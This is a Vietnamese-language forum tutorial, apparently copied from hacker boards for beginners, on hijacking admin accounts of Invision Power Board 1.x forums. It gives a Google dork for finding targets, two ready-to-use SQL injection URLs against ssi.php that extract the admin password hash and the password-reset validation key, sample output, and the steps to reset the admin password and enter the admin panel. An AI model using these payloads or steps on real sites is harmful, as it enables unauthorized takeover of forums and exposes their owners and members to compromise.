Tổng Hợp hack IBF (bài 1)

Tổng Hợp hack IBF (bài 1)



Tut Cho Newbie
Copy từ Vniss & VHS
Hix vì thấy cái cảnh làm Newmem chán lắm rùi kô vào dc box mem nên em quyết định làm 1 cái để lên mem
Kiến thức kô có nên đành đi copy mấy anh thông cảm
IBF 1.x
Bug ssi.php
1. Vào www.google.com.vn đánh từ khóa : Powered by Invision Power Board v1.x Final 2003 IPS, Inc. < ngoài ra cũng có thễ dùng khóa owered by Invision Power Board đễ tìm được nhiều hơn>

Code:

ssi.php?a=out&type=xml&f=-1)AND%201=0%20UNION%20SELECT%20t.*,%20m.password%20as%20forum_name,%20f.read_perms,%20f.password%20FROM%20ibf_members%20m,ibf_forums%20f,ibf_topics%20t%20WHERE%20m.id=1%20LIMIT%201/*

Vd Forum là : hxxp://www.nhocikaka.com/forums/index.php thì xóa chữ index.php thay vào là code trên nha
Nào run cái adress đó ta thu đc j` nào
Code:

<?xml version="1.0" encoding="ISO-8859-1" ?>

<!DOCTYPE ipbsource (View Source for full doctype...)>

- <ipbsource>

- <topic id="4">

<title>Market Supremacy</title>

<lastposter id="1">nhocikaka</lastposter>

<starter id="1">nhocikaka</starter>

<forum id="20">7af09f3dcb760c3f4cc6a679d0125e4d</forum>

<date timestamp="1070101104">Nov 29 2003, 10:18 AM</date>

</topic>

</ipbsource>

Chài vậy là forum đã dính bug ta típ tục thui
you Nhìn thấy chữ màu đỏ chứ nick Admin trang này là : nhocikaka
HIx bây giờ làm sao để có pass thằng admin nhỉ
okie ta sẽ forgot pass Admin = link sau
Code:

http://wwww.nhocikaka.com/forums/index.php?act=Reg&CODE=10

các bạn đánh user của admin và secure code vào rui bấm Enter
sau đó,ta sẽ có bảng thông báo sau :d

Code:

Registration Process

An email containing further activation instructions has been sent. This email should be received within the next 10 minutes (usually instantly).

Xong rùi ta đợi tí heng
Típ tục ta sẽ lấy Vkey dc gửi về cho admin = cách thêm đoan Code này sau .../forums/

Code:

ssi.php?a=out&type=xml&f=-1%29AND%201=0%20UNION%20SELECT%20t.%2a%2c%20v.vid%20as%20forum_name%2c%20f.read_perms%2c%20f.password%20FROM%20ibf_validating%20v%2cibf_forums%20f%2cibf_topics%20t%20WHERE%20v.member_id=1%20LIMIT%201/%2a

Run ta đc :

Code:

<?xml version="1.0" encoding="ISO-8859-1" ?>

<!DOCTYPE ipbsource (View Source for full doctype...)>

- <ipbsource>

- <topic id="4">

<title>Market Supremacy</title>

<lastposter id="1">nhocikaka</lastposter>

<starter id="1">nhocikaka</starter>

<forum id="20">1b3f179f8e33ddd90a601f7e0f0919c1</forum>

<date timestamp="1070101104">Nov 29 2003, 10:18 AM</date>

</topic>

</ipbsource>


Đó Vkey màu đỏ đó
Và đây là bước cuối cùng đổi pass admin
Click vào Link sau : hxxp://www.nhocikaka.com/forums/index.php?act=Reg&CODE=06
Rùi hiện ra 1 cái bảng
Ô 1 điền số id (thường là 1 )
Ô 2 điền Vkey mà ta thu đc
Ô 3 / Ỗ 4 điền pass mà bạn muốn đổi lại
Ok xong rùi Login vào thử nào vào Acp Admin Nghích tí coi

Nhocikaka(HCE)